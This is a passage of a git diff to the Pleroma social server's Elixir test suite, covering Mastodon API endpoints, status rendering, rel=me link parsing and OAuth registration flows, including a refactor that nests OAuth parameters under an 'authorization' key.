	user = refresh_record(user)

	assert %{"id" => ^id_str, "muted" => false} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/unmute")
	\|> json_response(200)
	end
	end

	test "flavours switching (Pleroma Extension)", %{conn: conn} do
	user = insert(:user)

	get_old_flavour =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/pleroma/flavour")

	assert "glitch" == json_response(get_old_flavour, 200)

	set_flavour =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/pleroma/flavour/vanilla")

	assert "vanilla" == json_response(set_flavour, 200)

	get_new_flavour =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/pleroma/flavour/vanilla")

	assert json_response(set_flavour, 200) == json_response(get_new_flavour, 200)
	end

	describe "reports" do
	setup do
	reporter = insert(:user)
	target_user = insert(:user)

	{:ok, activity} = CommonAPI.post(target_user, %{"status" => "foobar"})

	[reporter: reporter, target_user: target_user, activity: activity]
	end

	test "submit a basic report", %{conn: conn, reporter: reporter, target_user: target_user} do
	assert %{"action_taken" => false, "id" => _} =
	conn
	\|> assign(:user, reporter)
	\|> post("/api/v1/reports", %{"account_id" => target_user.id})
	\|> json_response(200)
	end

	test "submit a report with statuses and comment", %{
	conn: conn,
	reporter: reporter,
	target_user: target_user,
	activity: activity
	} do
	assert %{"action_taken" => false, "id" => _} =
	conn
	\|> assign(:user, reporter)
	\|> post("/api/v1/reports", %{
	"account_id" => target_user.id,
	"status_ids" => [activity.id],
	"comment" => "bad status!"
	})
	\|> json_response(200)
	end

	test "account_id is required", %{
	conn: conn,
	reporter: reporter,
	activity: activity
	} do
	assert %{"error" => "Valid `account_id` required"} =
	conn
	\|> assign(:user, reporter)
	\|> post("/api/v1/reports", %{"status_ids" => [activity.id]})
	\|> json_response(400)
	end

	test "comment must be up to the size specified in the config", %{
	conn: conn,
	reporter: reporter,
	target_user: target_user
	} do
	max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000)
	comment = String.pad_trailing("a", max_size + 1, "a")

	error = %{"error" => "Comment must be up to #{max_size} characters"}

	assert ^error =
	conn
	\|> assign(:user, reporter)
	\|> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment})
	\|> json_response(400)
	end
	end

	describe "link headers" do
	test "preserves parameters in link headers", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity1} =
	CommonAPI.post(other_user, %{
	"status" => "hi @#{user.nickname}",
	"visibility" => "public"
	})

	{:ok, activity2} =
	CommonAPI.post(other_user, %{
	"status" => "hi @#{user.nickname}",
	"visibility" => "public"
	})

	notification1 = Repo.get_by(Notification, activity_id: activity1.id)
	notification2 = Repo.get_by(Notification, activity_id: activity2.id)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/notifications", %{media_only: true})

	assert [link_header] = get_resp_header(conn, "link")
	assert link_header =~ ~r/media_only=true/
	assert link_header =~ ~r/min_id=#{notification2.id}/
	assert link_header =~ ~r/max_id=#{notification1.id}/
	end
	end

	test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do
	# Need to set an old-style integer ID to reproduce the problem
	# (these are no longer assigned to new accounts but were preserved
	# for existing accounts during the migration to flakeIDs)
	user_one = insert(:user, %{id: 1212})
	user_two = insert(:user, %{nickname: "#{user_one.id}garbage"})

	resp_one =
	conn
	\|> get("/api/v1/accounts/#{user_one.id}")

	resp_two =
	conn
	\|> get("/api/v1/accounts/#{user_two.nickname}")

	resp_three =
	conn
	\|> get("/api/v1/accounts/#{user_two.id}")

	acc_one = json_response(resp_one, 200)
	acc_two = json_response(resp_two, 200)
	acc_three = json_response(resp_three, 200)
	refute acc_one == acc_two
	assert acc_two == acc_three
	end

	describe "custom emoji" do
	test "with tags", %{conn: conn} do
	[emoji \| _body] =
	conn
	\|> get("/api/v1/custom_emojis")
	\|> json_response(200)

	assert Map.has_key?(emoji, "shortcode")
	assert Map.has_key?(emoji, "static_url")
	assert Map.has_key?(emoji, "tags")
	assert is_list(emoji["tags"])
	assert Map.has_key?(emoji, "url")
	assert Map.has_key?(emoji, "visible_in_picker")
	end
	end

	describe "index/2 redirections" do
	setup %{conn: conn} do
	session_opts = [
	store: :cookie,
	key: "_test",
	signing_salt: "cooldude"
	]

	conn =
	conn
	\|> Plug.Session.call(Plug.Session.init(session_opts))
	\|> fetch_session()

	test_path = "/web/statuses/test"
	%{conn: conn, path: test_path}
	end

	test "redirects not logged-in users to the login page", %{conn: conn, path: path} do
	conn = get(conn, path)

	assert conn.status == 302
	assert redirected_to(conn) == "/web/login"
	end

	test "does not redirect logged in users to the login page", %{conn: conn, path: path} do
	token = insert(:oauth_token)

	conn =
	conn
	\|> assign(:user, token.user)
	\|> put_session(:oauth_token, token.token)
	\|> get(path)

	assert conn.status == 200
	end

	test "saves referer path to session", %{conn: conn, path: path} do
	conn = get(conn, path)
	return_to = Plug.Conn.get_session(conn, :return_to)

	assert return_to == path
	end

	test "redirects to the saved path after log in", %{conn: conn, path: path} do
	app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".")
	auth = insert(:oauth_authorization, app: app)

	conn =
	conn
	\|> put_session(:return_to, path)
	\|> get("/web/login", %{code: auth.token})

	assert conn.status == 302
	assert redirected_to(conn) == path
	end

	test "redirects to the getting-started page when referer is not present", %{conn: conn} do
	app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".")
	auth = insert(:oauth_authorization, app: app)

	conn = get(conn, "/web/login", %{code: auth.token})

	assert conn.status == 302
	assert redirected_to(conn) == "/web/getting-started"
	end
	end

	describe "scheduled activities" do
	test "creates a scheduled activity", %{conn: conn} do
	user = insert(:user)
	scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{
	"status" => "scheduled",
	"scheduled_at" => scheduled_at
	})

	assert %{"scheduled_at" => expected_scheduled_at} = json_response(conn, 200)
	assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(scheduled_at)
	assert [] == Repo.all(Activity)
	end

	test "creates a scheduled activity with a media attachment", %{conn: conn} do
	user = insert(:user)
	scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)

	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{
	"media_ids" => [to_string(upload.id)],
	"status" => "scheduled",
	"scheduled_at" => scheduled_at
	})

	assert %{"media_attachments" => [media_attachment]} = json_response(conn, 200)
	assert %{"type" => "image"} = media_attachment
	end

	test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now",
	%{conn: conn} do
	user = insert(:user)

	scheduled_at =
	NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{
	"status" => "not scheduled",
	"scheduled_at" => scheduled_at
	})

	assert %{"content" => "not scheduled"} = json_response(conn, 200)
	assert [] == Repo.all(ScheduledActivity)
	end

	test "returns error when daily user limit is exceeded", %{conn: conn} do
	user = insert(:user)

	today =
	NaiveDateTime.utc_now()
	\|> NaiveDateTime.add(:timer.minutes(6), :millisecond)
	\|> NaiveDateTime.to_iso8601()

	attrs = %{params: %{}, scheduled_at: today}
	{:ok, _} = ScheduledActivity.create(user, attrs)
	{:ok, _} = ScheduledActivity.create(user, attrs)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today})

	assert %{"error" => "daily limit exceeded"} == json_response(conn, 422)
	end

	test "returns error when total user limit is exceeded", %{conn: conn} do
	user = insert(:user)

	today =
	NaiveDateTime.utc_now()
	\|> NaiveDateTime.add(:timer.minutes(6), :millisecond)
	\|> NaiveDateTime.to_iso8601()

	tomorrow =
	NaiveDateTime.utc_now()
	\|> NaiveDateTime.add(:timer.hours(36), :millisecond)
	\|> NaiveDateTime.to_iso8601()

	attrs = %{params: %{}, scheduled_at: today}
	{:ok, _} = ScheduledActivity.create(user, attrs)
	{:ok, _} = ScheduledActivity.create(user, attrs)
	{:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow})

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow})

	assert %{"error" => "total limit exceeded"} == json_response(conn, 422)
	end

	test "shows scheduled activities", %{conn: conn} do
	user = insert(:user)
	scheduled_activity_id1 = insert(:scheduled_activity, user: user).id \|> to_string()
	scheduled_activity_id2 = insert(:scheduled_activity, user: user).id \|> to_string()
	scheduled_activity_id3 = insert(:scheduled_activity, user: user).id \|> to_string()
	scheduled_activity_id4 = insert(:scheduled_activity, user: user).id \|> to_string()

	conn =
	conn
	\|> assign(:user, user)

	# min_id
	conn_res =
	conn
	\|> get("/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}")

	result = json_response(conn_res, 200)
	assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result

	# since_id
	conn_res =
	conn
	\|> get("/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}")

	result = json_response(conn_res, 200)
	assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result

	# max_id
	conn_res =
	conn
	\|> get("/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}")

	result = json_response(conn_res, 200)
	assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
	end

	test "shows a scheduled activity", %{conn: conn} do
	user = insert(:user)
	scheduled_activity = insert(:scheduled_activity, user: user)

	res_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/scheduled_statuses/#{scheduled_activity.id}")

	assert %{"id" => scheduled_activity_id} = json_response(res_conn, 200)
	assert scheduled_activity_id == scheduled_activity.id \|> to_string()

	res_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/scheduled_statuses/404")

	assert %{"error" => "Record not found"} = json_response(res_conn, 404)
	end

	test "updates a scheduled activity", %{conn: conn} do
	user = insert(:user)
	scheduled_activity = insert(:scheduled_activity, user: user)

	new_scheduled_at =
	NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)

	res_conn =
	conn
	\|> assign(:user, user)
	\|> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{
	scheduled_at: new_scheduled_at
	})

	assert %{"scheduled_at" => expected_scheduled_at} = json_response(res_conn, 200)
	assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at)

	res_conn =
	conn
	\|> assign(:user, user)
	\|> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at})

	assert %{"error" => "Record not found"} = json_response(res_conn, 404)
	end

	test "deletes a scheduled activity", %{conn: conn} do
	user = insert(:user)
	scheduled_activity = insert(:scheduled_activity, user: user)

	res_conn =
	conn
	\|> assign(:user, user)
	\|> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")

	assert %{} = json_response(res_conn, 200)
	assert nil == Repo.get(ScheduledActivity, scheduled_activity.id)

	res_conn =
	conn
	\|> assign(:user, user)
	\|> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")

	assert %{"error" => "Record not found"} = json_response(res_conn, 404)
	end
	end

	test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do
	user1 = insert(:user)
	user2 = insert(:user)
	user3 = insert(:user)

	{:ok, replied_to} = TwitterAPI.create_status(user1, %{"status" => "cofe"})

	# Reply to status from another user
	conn1 =
	conn
	\|> assign(:user, user2)
	\|> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})

	assert %{"content" => "xD", "id" => id} = json_response(conn1, 200)

	- activity = Activity.get_by_id(id)
	+ activity = Activity.get_by_id_with_object(id)

	- assert activity.data["object"]["inReplyTo"] == replied_to.data["object"]["id"]
	+ assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"]
	assert Activity.get_in_reply_to_activity(activity).id == replied_to.id

	# Reblog from the third user
	conn2 =
	conn
	\|> assign(:user, user3)
	\|> post("/api/v1/statuses/#{activity.id}/reblog")

	assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} =
	json_response(conn2, 200)

	assert to_string(activity.id) == id

	# Getting third user status
	conn3 =
	conn
	\|> assign(:user, user3)
	\|> get("api/v1/timelines/home")

	[reblogged_activity] = json_response(conn3, 200)

	assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id

	replied_to_user = User.get_by_ap_id(replied_to.data["actor"])
	assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id
	end
	end
	diff --git a/test/web/mastodon_api/status_view_test.exs b/test/web/mastodon_api/status_view_test.exs
	index e80f83269..fde931b43 100644
	--- a/test/web/mastodon_api/status_view_test.exs
	+++ b/test/web/mastodon_api/status_view_test.exs
	@@ -1,320 +1,321 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
	use Pleroma.DataCase

	alias Pleroma.Activity
	+ alias Pleroma.Object
	+ alias Pleroma.Repo
	alias Pleroma.User
	- alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.MastodonAPI.AccountView
	alias Pleroma.Web.MastodonAPI.StatusView
	alias Pleroma.Web.OStatus
	import Pleroma.Factory
	import Tesla.Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "returns a temporary ap_id based user for activities missing db users" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})

	Repo.delete(user)
	Cachex.clear(:user_cache)

	%{account: ms_user} = StatusView.render("status.json", activity: activity)

	assert ms_user.acct == "erroruser@example.com"
	end

	test "tries to get a user by nickname if fetching by ap_id doesn't work" do
	user = insert(:user)

	{:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})

	{:ok, user} =
	user
	\|> Ecto.Changeset.change(%{ap_id: "#{user.ap_id}/extension/#{user.nickname}"})
	\|> Repo.update()

	Cachex.clear(:user_cache)

	result = StatusView.render("status.json", activity: activity)

	assert result[:account][:id] == to_string(user.id)
	end

	test "a note with null content" do
	note = insert(:note_activity)
	+ note_object = Object.normalize(note.data["object"])

	data =
	- note.data
	- \|> put_in(["object", "content"], nil)
	+ note_object.data
	+ \|> Map.put("content", nil)

	- note =
	- note
	- \|> Map.put(:data, data)
	+ Object.change(note_object, %{data: data})
	+ \|> Object.update_and_set_cache()

	User.get_cached_by_ap_id(note.data["actor"])

	status = StatusView.render("status.json", %{activity: note})

	assert status.content == ""
	end

	test "a note activity" do
	note = insert(:note_activity)
	user = User.get_cached_by_ap_id(note.data["actor"])

	convo_id = Utils.context_to_conversation_id(note.data["object"]["context"])

	status = StatusView.render("status.json", %{activity: note})

	created_at =
	(note.data["object"]["published"] \|\| "")
	\|> String.replace(~r/\.\d+Z/, ".000Z")

	expected = %{
	id: to_string(note.id),
	uri: note.data["object"]["id"],
	url: Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, note),
	account: AccountView.render("account.json", %{user: user}),
	in_reply_to_id: nil,
	in_reply_to_account_id: nil,
	card: nil,
	reblog: nil,
	content: HtmlSanitizeEx.basic_html(note.data["object"]["content"]),
	created_at: created_at,
	reblogs_count: 0,
	replies_count: 0,
	favourites_count: 0,
	reblogged: false,
	bookmarked: false,
	favourited: false,
	muted: false,
	pinned: false,
	sensitive: false,
	spoiler_text: HtmlSanitizeEx.basic_html(note.data["object"]["summary"]),
	visibility: "public",
	media_attachments: [],
	mentions: [],
	tags: [
	%{
	name: "#{note.data["object"]["tag"]}",
	url: "/tag/#{note.data["object"]["tag"]}"
	}
	],
	application: %{
	name: "Web",
	website: nil
	},
	language: nil,
	emojis: [
	%{
	shortcode: "2hu",
	url: "corndog.png",
	static_url: "corndog.png",
	visible_in_picker: false
	}
	],
	pleroma: %{
	local: true,
	conversation_id: convo_id,
	content: %{"text/plain" => HtmlSanitizeEx.strip_tags(note.data["object"]["content"])},
	spoiler_text: %{"text/plain" => HtmlSanitizeEx.strip_tags(note.data["object"]["summary"])}
	}
	}

	assert status == expected
	end

	test "tells if the message is muted for some reason" do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, user} = User.mute(user, other_user)

	{:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"})
	status = StatusView.render("status.json", %{activity: activity})

	assert status.muted == false

	status = StatusView.render("status.json", %{activity: activity, for: user})

	assert status.muted == true
	end

	test "a reply" do
	note = insert(:note_activity)
	user = insert(:user)

	{:ok, activity} =
	CommonAPI.post(user, %{"status" => "he", "in_reply_to_status_id" => note.id})

	status = StatusView.render("status.json", %{activity: activity})

	assert status.in_reply_to_id == to_string(note.id)

	[status] = StatusView.render("index.json", %{activities: [activity], as: :activity})

	assert status.in_reply_to_id == to_string(note.id)
	end

	test "contains mentions" do
	incoming = File.read!("test/fixtures/incoming_reply_mastodon.xml")
	# a user with this ap id might be in the cache.
	recipient = "https://pleroma.soykaf.com/users/lain"
	user = insert(:user, %{ap_id: recipient})

	{:ok, [activity]} = OStatus.handle_incoming(incoming)

	status = StatusView.render("status.json", %{activity: activity})

	actor = User.get_cached_by_ap_id(activity.actor)

	assert status.mentions ==
	Enum.map([user, actor], fn u -> AccountView.render("mention.json", %{user: u}) end)
	end

	test "attachments" do
	object = %{
	"type" => "Image",
	"url" => [
	%{
	"mediaType" => "image/png",
	"href" => "someurl"
	}
	],
	"uuid" => 6
	}

	expected = %{
	id: "1638338801",
	type: "image",
	url: "someurl",
	remote_url: "someurl",
	preview_url: "someurl",
	text_url: "someurl",
	description: nil,
	pleroma: %{mime_type: "image/png"}
	}

	assert expected == StatusView.render("attachment.json", %{attachment: object})

	# If theres a "id", use that instead of the generated one
	object = Map.put(object, "id", 2)
	assert %{id: "2"} = StatusView.render("attachment.json", %{attachment: object})
	end

	test "a reblog" do
	user = insert(:user)
	activity = insert(:note_activity)

	{:ok, reblog, _} = CommonAPI.repeat(activity.id, user)

	represented = StatusView.render("status.json", %{for: user, activity: reblog})

	assert represented[:id] == to_string(reblog.id)
	assert represented[:reblog][:id] == to_string(activity.id)
	assert represented[:emojis] == []
	end

	test "a peertube video" do
	user = insert(:user)

	{:ok, object} =
	- ActivityPub.fetch_object_from_id(
	+ Pleroma.Object.Fetcher.fetch_object_from_id(
	"https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"
	)

	%Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"])

	represented = StatusView.render("status.json", %{for: user, activity: activity})

	assert represented[:id] == to_string(activity.id)
	assert length(represented[:media_attachments]) == 1
	end

	describe "build_tags/1" do
	test "it returns a a dictionary tags" do
	object_tags = [
	"fediverse",
	"mastodon",
	"nextcloud",
	%{
	"href" => "https://kawen.space/users/lain",
	"name" => "@lain@kawen.space",
	"type" => "Mention"
	}
	]

	assert StatusView.build_tags(object_tags) == [
	%{name: "fediverse", url: "/tag/fediverse"},
	%{name: "mastodon", url: "/tag/mastodon"},
	%{name: "nextcloud", url: "/tag/nextcloud"}
	]
	end
	end

	describe "rich media cards" do
	test "a rich media card without a site name renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	image: page_url <> "/example.jpg",
	title: "Example website"
	}

	%{provider_name: "example.com"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end

	test "a rich media card without a site name or image renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	title: "Example website"
	}

	%{provider_name: "example.com"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end

	test "a rich media card without an image renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	site_name: "Example site name",
	title: "Example website"
	}

	%{provider_name: "Example site name"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end

	test "a rich media card with all relevant data renders correctly" do
	page_url = "http://example.com"

	card = %{
	url: page_url,
	site_name: "Example site name",
	title: "Example website",
	image: page_url <> "/example.jpg",
	description: "Example description"
	}

	%{provider_name: "Example site name"} =
	StatusView.render("card.json", %{page_url: page_url, rich_media: card})
	end
	end
	end
	diff --git a/test/web/metadata/rel_me_test.exs b/test/web/metadata/rel_me_test.exs
	new file mode 100644
	index 000000000..f66bf7834
	--- /dev/null
	+++ b/test/web/metadata/rel_me_test.exs
	@@ -0,0 +1,18 @@
	+defmodule Pleroma.Web.Metadata.Providers.RelMeTest do
	+ use Pleroma.DataCase
	+ import Pleroma.Factory
	+ alias Pleroma.Web.Metadata.Providers.RelMe
	+
	+ test "it renders all links with rel='me' from user bio" do
	+ bio =
	+ ~s(<a href="https://some-link.com">https://some-link.com</a> <a rel="me" href="https://another-link.com">https://another-link.com</a>
	+ <link href="http://some.com"> <link rel="me" href="http://some3.com>")
	+
	+ user = insert(:user, %{bio: bio})
	+
	+ assert RelMe.build_tags(%{user: user}) == [
	+ {:link, [rel: "me", href: "http://some3.com>"], []},
	+ {:link, [rel: "me", href: "https://another-link.com"], []}
	+ ]
	+ end
	+end
	diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs
	index ac7843f9b..6e96537ec 100644
	--- a/test/web/oauth/oauth_controller_test.exs
	+++ b/test/web/oauth/oauth_controller_test.exs
	@@ -1,680 +1,717 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.OAuthControllerTest do
	use Pleroma.Web.ConnCase
	import Pleroma.Factory
	import Mock

	alias Pleroma.Registration
	alias Pleroma.Repo
	alias Pleroma.Web.OAuth.Authorization
	alias Pleroma.Web.OAuth.Token

	@session_opts [
	store: :cookie,
	key: "_test",
	signing_salt: "cooldude"
	]

	describe "in OAuth consumer mode, " do
	setup do
	oauth_consumer_strategies_path = [:auth, :oauth_consumer_strategies]
	oauth_consumer_strategies = Pleroma.Config.get(oauth_consumer_strategies_path)
	Pleroma.Config.put(oauth_consumer_strategies_path, ~w(twitter facebook))

	on_exit(fn ->
	Pleroma.Config.put(oauth_consumer_strategies_path, oauth_consumer_strategies)
	end)

	[
	app: insert(:oauth_app),
	conn:
	build_conn()
	\|> Plug.Session.call(Plug.Session.init(@session_opts))
	\|> fetch_session()
	]
	end

	test "GET /oauth/authorize renders auth forms, including OAuth consumer form", %{
	app: app,
	conn: conn
	} do
	conn =
	get(
	conn,
	"/oauth/authorize",
	%{
	"response_type" => "code",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"scope" => "read"
	}
	)

	assert response = html_response(conn, 200)
	assert response =~ "Sign in with Twitter"
	assert response =~ o_auth_path(conn, :prepare_request)
	end

	test "GET /oauth/prepare_request encodes parameters as `state` and redirects", %{
	app: app,
	conn: conn
	} do
	conn =
	get(
	conn,
	"/oauth/prepare_request",
	%{
	"provider" => "twitter",
	- "scope" => "read follow",
	- "client_id" => app.client_id,
	- "redirect_uri" => app.redirect_uris,
	- "state" => "a_state"
	+ "authorization" => %{
	+ "scope" => "read follow",
	+ "client_id" => app.client_id,
	+ "redirect_uri" => app.redirect_uris,
	+ "state" => "a_state"
	+ }
	}
	)

	assert response = html_response(conn, 302)

	redirect_query = URI.parse(redirected_to(conn)).query
	assert %{"state" => state_param} = URI.decode_query(redirect_query)
	assert {:ok, state_components} = Poison.decode(state_param)

	expected_client_id = app.client_id
	expected_redirect_uri = app.redirect_uris

	assert %{
	"scope" => "read follow",
	"client_id" => ^expected_client_id,
	"redirect_uri" => ^expected_redirect_uri,
	"state" => "a_state"
	} = state_components
	end

	test "with user-bound registration, GET /oauth/<provider>/callback redirects to `redirect_uri` with `code`",
	%{app: app, conn: conn} do
	registration = insert(:registration)

	state_params = %{
	"scope" => Enum.join(app.scopes, " "),
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"state" => ""
	}

	with_mock Pleroma.Web.Auth.Authenticator,
	- get_registration: fn _, _ -> {:ok, registration} end do
	+ get_registration: fn _ -> {:ok, registration} end do
	conn =
	get(
	conn,
	"/oauth/twitter/callback",
	%{
	"oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM",
	"oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs",
	"provider" => "twitter",
	"state" => Poison.encode!(state_params)
	}
	)

	assert response = html_response(conn, 302)
	assert redirected_to(conn) =~ ~r/#{app.redirect_uris}\?code=.+/
	end
	end

	test "with user-unbound registration, GET /oauth/<provider>/callback renders registration_details page",
	%{app: app, conn: conn} do
	registration = insert(:registration, user: nil)

	state_params = %{
	"scope" => "read write",
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"state" => "a_state"
	}

	with_mock Pleroma.Web.Auth.Authenticator,
	- get_registration: fn _, _ -> {:ok, registration} end do
	+ get_registration: fn _ -> {:ok, registration} end do
	conn =
	get(
	conn,
	"/oauth/twitter/callback",
	%{
	"oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM",
	"oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs",
	"provider" => "twitter",
	"state" => Poison.encode!(state_params)
	}
	)

	assert response = html_response(conn, 200)
	assert response =~ ~r/name="op" type="submit" value="register"/
	assert response =~ ~r/name="op" type="submit" value="connect"/
	assert response =~ Registration.email(registration)
	assert response =~ Registration.nickname(registration)
	end
	end

	test "on authentication error, GET /oauth/<provider>/callback redirects to `redirect_uri`", %{
	app: app,
	conn: conn
	} do
	state_params = %{
	"scope" => Enum.join(app.scopes, " "),
	"client_id" => app.client_id,
	"redirect_uri" => app.redirect_uris,
	"state" => ""
	}

	conn =
	conn
	\|> assign(:ueberauth_failure, %{errors: [%{message: "(error description)"}]})
	\|> get(
	"/oauth/twitter/callback",
	%{
	"oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM",
	"oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs",
	"provider" => "twitter",
	"state" => Poison.encode!(state_params)
	}
	)

	assert response = html_response(conn, 302)
	assert redirected_to(conn) == app.redirect_uris
	assert get_flash(conn, :error) == "Failed to authenticate: (error description)."
	end

	test "GET /oauth/registration_details renders registration details form", %{
	app: app,
	conn: conn
	} do
	conn =
	get(
	conn,
	"/oauth/registration_details",
	%{
	- "scopes" => app.scopes,
	- "client_id" => app.client_id,
	- "redirect_uri" => app.redirect_uris,
	- "state" => "a_state",
	- "nickname" => nil,
	- "email" => "john@doe.com"
	+ "authorization" => %{
	+ "scopes" => app.scopes,
	+ "client_id" => app.client_id,
	+ "redirect_uri" => app.redirect_uris,
	+ "state" => "a_state",
	+ "nickname" => nil,
	+ "email" => "john@doe.com"
	+ }
	}
	)

	assert response = html_response(conn, 200)
	assert response =~ ~r/name="op" type="submit" value="register"/
	assert response =~ ~r/name="op" type="submit" value="connect"/
	end

	test "with valid params, POST /oauth/register?op=register redirects to `redirect_uri` with `code`",
	%{
	app: app,
	conn: conn
	} do
	registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil})

	conn =
	conn
	\|> put_session(:registration_id, registration.id)
	\|> post(
	"/oauth/register",
	%{
	"op" => "register",
	- "scopes" => app.scopes,
	- "client_id" => app.client_id,
	- "redirect_uri" => app.redirect_uris,
	- "state" => "a_state",
	- "nickname" => "availablenick",
	- "email" => "available@email.com"
	+ "authorization" => %{
	+ "scopes" => app.scopes,
	+ "client_id" => app.client_id,
	+ "redirect_uri" => app.redirect_uris,
	+ "state" => "a_state",
	+ "nickname" => "availablenick",
	+ "email" => "available@email.com"
	+ }
	}
	)

	assert response = html_response(conn, 302)
	assert redirected_to(conn) =~ ~r/#{app.redirect_uris}\?code=.+/
	end

	test "with invalid params, POST /oauth/register?op=register renders registration_details page",
	%{
	app: app,
	conn: conn
	} do
	another_user = insert(:user)
	registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil})

	params = %{
	"op" => "register",
	- "scopes" => app.scopes,
	- "client_id" => app.client_id,
	- "redirect_uri" => app.redirect_uris,
	- "state" => "a_state",
	- "nickname" => "availablenickname",
	- "email" => "available@email.com"
	+ "authorization" => %{
	+ "scopes" => app.scopes,
	+ "client_id" => app.client_id,
	+ "redirect_uri" => app.redirect_uris,
	+ "state" => "a_state",
	+ "nickname" => "availablenickname",
	+ "email" => "available@email.com"
	+ }
	}

	for {bad_param, bad_param_value} <-
	[{"nickname", another_user.nickname}, {"email", another_user.email}] do
	- bad_params = Map.put(params, bad_param, bad_param_value)
	+ bad_registration_attrs = %{
	+ "authorization" => Map.put(params["authorization"], bad_param, bad_param_value)
	+ }
	+
	+ bad_params = Map.merge(params, bad_registration_attrs)

	conn =
	conn
	\|> put_session(:registration_id, registration.id)
	\|> post("/oauth/register", bad_params)

	assert html_response(conn, 403) =~ ~r/name="op" type="submit" value="register"/
	assert get_flash(conn, :error) == "Error: #{bad_param} has already been taken."
	end
	end

	test "with valid params, POST /oauth/register?op=connect redirects to `redirect_uri` with `code`",
	%{
	app: app,
	conn: conn
	} do
